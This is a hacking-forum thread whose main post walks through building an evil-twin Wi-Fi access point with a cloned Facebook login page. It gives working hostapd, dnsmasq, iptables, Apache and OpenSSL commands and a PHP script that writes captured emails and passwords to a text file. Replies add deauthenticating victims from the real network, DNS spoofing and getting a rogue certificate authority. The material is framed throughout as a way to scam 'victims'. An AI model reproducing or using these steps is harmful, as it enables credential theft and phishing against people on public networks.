Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Captive Portal do it yourself! No Fluxion/Airgeddon/Wifiphisher. 100% custom

And now finally I'm going to show you how set up your own Captive Portal, probably you won't find a completed tutorial anywhere, except here!


First of all: This tutorial requires some skills, isn't hard, but if you're the kind of "hacker" who pretend to click buttons 'nd hack, simply go back, I won't explain every basic detail, I assume you are able to work with html, and some basic php code, and that's why you are here, coz you hate the templates other tools are offering, even modifying them you are seriously limited, I will guide you to set up a good Access Point to redirect every request to your local server.








Main Requirements:
Hostapd, Dnsmasq, Apache2, Openssl




STEP 1: for this tutorial i will use 2 wifi cards wlan0 with internet working, and the second one wlan1 as access point


#airmon-ng start wlan1




STEP 2: let's make a clean directory for the .conf files
#mkdir /home/..../fakeAP


and create them


#nano /home/..../fakeAP/hostapd.conf

interface=wlan1mon
driver=nl80211
ssid=HERE THE SSID FOR THE EVIL TWIN
hw_mode=g
channel=HERE THE CHANNEL FOR THE EVIL TWIN
macaddr_acl=0
ignore_broadcast_ssid=0



and then save it and run it (move inside the fakeAP directory or call it with the right path)



#hostapd hostapd.conf




STEP 3: open a new terminal leaving hostapd running, and write the dnsmasq.conf


#nano /home/..../fakeAP/dnsmasq.conf


interface=wlan1mon
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
address=/#/192.168.1.1



N.B. address=/#/192.168.1.1 will force any request to your server, and basically connecting any devices it will give an ! on the wifi, but it happens every time you connect to any public wifi which requires a login, doesn't it? btw it can be just for some particular site like: address=/google.com/192.168.1.1 and in this case you won't get a ! on the wifi icon (but you will require to set up traffic forwarding, check the STEP 6).




STEP 4: configure gateway and netmask for the wifi card




#ifconfig wlan1mon up 192.168.1.1 netmask 255.255.255.0
#route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1





STEP 5: let's run dnsmasq (move inside the fakeAP directory or call the right path)



#dnsmasq -C dnsmasq.conf -d




STEP 6: (OPTIONAL) TRAFFIC FORWARDING


#iptables --table nat --append POSTROUTING --out-interface wlan0 -j MASQUERADE
#iptables --append FORWARD --in-interface wlan1mon -j ACCEPT
#echo 1 > /proc/sys/net/ipv4/ip_forward





STEP 7: APACHE easiest configuration (no enabled userdir or virtualhost, maybe i will explain them in the following days, the easiest configuration in not safe, but against common victims is still ok)

So we have the index.html in /var/www/html , now you actually need to save the html of any login page you're trying to clone or save the offline page to get every resource offline in a linked directory, the second way can be helpful to avoid missing logos after some period, but you can still make your own fake login page or real server to scam the victim, why not?

In my example i will show the most common case with facebook.com (yeah not a modem login page but we could create a fake google page and clicking on search we could simply link our fake facebook page, you just need imagination and this hack is giving you a letal weapon!)

So, we have to create a php code to get username and password and save them in a file (we could use a database but still too complex all together and for few victims we don't really need it, anyway i will add it here in the future )

inside /var/www/html (you can make another dir to get a clean work if you want)


#nano process.php

<?php if(isset($_POST['email']) && isset($_POST['pass'])) { $password=file_get_contents('got.txt'); $handler = fopen("got.txt", "w"); fwrite($handler,$password."Email : ".$_POST['email']." , Password : ".$_POST['pass']."\n"); fclose($file); echo '<script>window.location.href="LINK TO THE FOLLOWING PAGE IN CASE WE FOUND EMAIL AND PASS"</script>'; } else echo '<script>window.location.href="index.html"</script>'; ?>




inside the facebook login html you will find something like this(ctrl+f):


<form id="login_form" action="................" method="post" onsubmit="return window.Event && Event.__inlineSubmit && Event.__inlineSubmit(this,event)">


you will add "process.php" instead of "................"

Save the login in var/www/html and rename it index.html if you want to show it as main page of any redirect and make the file got.txt, give it with chmod the write permissions by process.php (if you are in debugging phase simply give it every permission #chmod 777 got.txt, to be sure you re not encountering some security issue, the next part of tutorial which i will wrote will introduce the .htacess to protect your server files until that, every user will able to find it!)




STEP 8: enable php on apache, check if you have it installed


#apt-get install libapache2-mod-php7


#a2enmod php7.0 (or 7.2 , btw in the next tutorials we will change this module to work even in the user directory)





STEP 9:
Well, until this point your server should running simply starting apache with #systemctl start apache2 and if you didn't force every site redirection in dnsmasq you would be able to navigate facing the login page only in the http sites added in address=/*.com/192.168.1.1 (example) (this can be useful in many cases)
But we are going to redirect any http or https request to our server and to do that we should add certificates , you can buy a legit one but probably it will be removed and you will lost you money , so we need to create a key and an self-signed certificate (we will need openssl)


#openssl genrsa -des3 -out server.key 1024

#openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/apache2/ssl/mysite.key -out /etc/apache2/ssl/mysite.crt


(make the ssl directory if missing in apache2)

this phase will ask you some infos and a password





STEP 10:
we need to communicate where apache can find the key and certificate, so


#nano /etc/apache2/site-avaible/default-ssl.conf


and find :

SSLCertificateFile .....
SSLCetificateKeyFile .....



add to the their Path /etc/apache2/ssl/mysite.crt and /etc/apache2/ssl/mysite.key

And then we can force a permanent redirection to the https version of our site:


#nano /etc/apache2/site-avaible/000-default.conf


and we will add under #ServerName ...

Redirect Permanent / https : //192.168.1.1/ (remove the spaces between : )



STEP 11:


#a2enmod ssl
#systemctl start apache2









Conclusion: in this way you will get a untrusted certificate warning on every browser you will test, but if the victim will add it as exception, you have won, and believe me: almost every public login (like university login page) give this kind of warning!
What in this tutorial is missing, is the deauth attack part to force the victim to connect to the fake access point, but i guess no one need another aireplay tutorial right?
In the next tutorial we will create something safer in apache and I will give you some tips!
Great tutorial keep the good work up
look forward to see your new tutorial
I suggest you add pictures,snaps this look to blunt
-snip-
Thank you so much for this ! Good work
Thank you! I will start the next part today/tomorrow and i will follow your advice last viking ! I'm just a little busy lately with the new kali update, the new kernel 4.17 seems having a lot of issues
can i use 1 usb card with monitor mode and the other wireless adapter from my mobo ?
my mobo have 2 wireless adapter but i don't think they have monitor mode
(Aug 14, 2018 02:30 PM)cryptodreamer Wrote:  can i use 1 usb card with monitor mode and the other wireless adapter from my mobo ?
my mobo have 2 wireless adapter but i don't think they have monitor mode

Ofc you can I do in the same way, btw remember (and is not in this tutorial) you need to aireplay with 0 flag for the deauth attack, so the victim won't connect to the real AP.
Check if one of them can actually go in monitor mode.
i think you forget to add that we need to boost the wireless signal


only the usb card have monitor mode
(Aug 15, 2018 10:10 AM)cryptodreamer Wrote:  only the usb card have monitor mode
then use the usb card in monitor mode and the embedded one as normal wiresless for the internet traffic

(Aug 15, 2018 10:10 AM)cryptodreamer Wrote:  i think you forget to add that we need to boost the wireless signal

My tutorial focus isn't on the attack itself, is the technical configuration you need to move this kind of attacks, boost signal which actually doesn't work without modified drivers isn't part of the tutorial as the deauth attack phase.
Check here: https://hackforums.net/showthread.php?tid=5578652


Also my tutorial can easily moved on a dns spoofing attack which is totally different, considering you already have the access to the LAN, you can force with any spoofer (i.e. Bettercap) to your own captive portal/server, depending by caches saved on the victims, and by the browser used (chrome for example doesn't let easily move an attack against facebook). Just skipping the first 6 steps. (And it dosen't requires signal boosting)
Thank you so much for this ! Good work :)
Good work :) Thanks for sharing tutorial
sorry for grave digging. but does anybody know what happens when you don't use a cert>? And I guess the question is which way has the loudest warning?
Personally I would think no warning is better thena warning
(Oct 24, 2018 12:19 AM)r0kford Wrote:  sorry for grave digging.  but does anybody know what happens when you don't use a cert>?  And I guess the question is which way has the loudest warning?
Personally I would think no warning is better thena warning


thanks for the questions, I'm working on a remake of this tutorial with pics and more details.

first of all, if you don't use an auto-signed cert you cannot move an https request to an http (SSL strip module of many tools works only when there is an http version of the site). It means the captive portal or the dns spoofing won't be able to redirect https://X.com to you http local host/server ip. It will get an error, depending by browsers, you cannot bypass it.
Instead the upgrade of an http request to an https request is possible, and it happens often. Forcing redirection in the 000default.conf "Permanent Redirect" of your apache server does it. You can avoid it: every http request will be moved on the port 80 of your server and every https will be moved on the auto-signed version https of your server 443 --> it means http pages won't get any warning, but at this point it's social engineering, because mostly of what you need to know today is encrypted and when a victim will notice that http works but https gets warnings, I'm not sure he will fill a password, meanwhile when he will get a waning in a common useless page, accepting it, you win. That's just my opinion, there are for sure many cases where no warning for http is better.
About no getting warning for https requests (anyway different browsers react in different ways, and browser caches can let you get different results) you need a rogue CA, and 10 years ago you could try cracking MD5, or maybe some SHA-1 collision (last time i heard it was in 2012), if you can obtain a trusted certificate by the victim browser you have no limit of what you can do.
If you dont mind id like to keep in touch with you.
(Dec 10, 2018 04:35 PM)r0kford Wrote:  If you dont mind id like to keep in touch with you.

Ask me everything!

Atm I’m working on the next tutorial about captive portals, i have finally accomplished the captive automatic pop up for the login if you need it
(Dec 10, 2018 11:53 PM)FriendZone Wrote:  Ask me everything!

Atm I’m working on the next tutorial about captive portals, i have finally accomplished the captive automatic pop up for the login if you need it

i would very much like the automatic popup


I have an anonabox pro. I think its configured to run captive portals. Id like to find a way to incorperate it.


Possibly Related Threads...
Thread / Author Replies Views Last Post
by Raymond ReddingtonMay 8, 2024 11:40 AM 9 969 May 8, 2024 11:40 AM
Last Post: adamalsayd
by SIM-3802025Jun 4, 2021 03:14 PM 19 1,087 Jun 4, 2021 03:14 PM
Last Post: KingMero
by Root-SenpaiNov 18, 2019 05:33 AM 0 287 Nov 18, 2019 05:33 AM
Last Post: Root-Senpai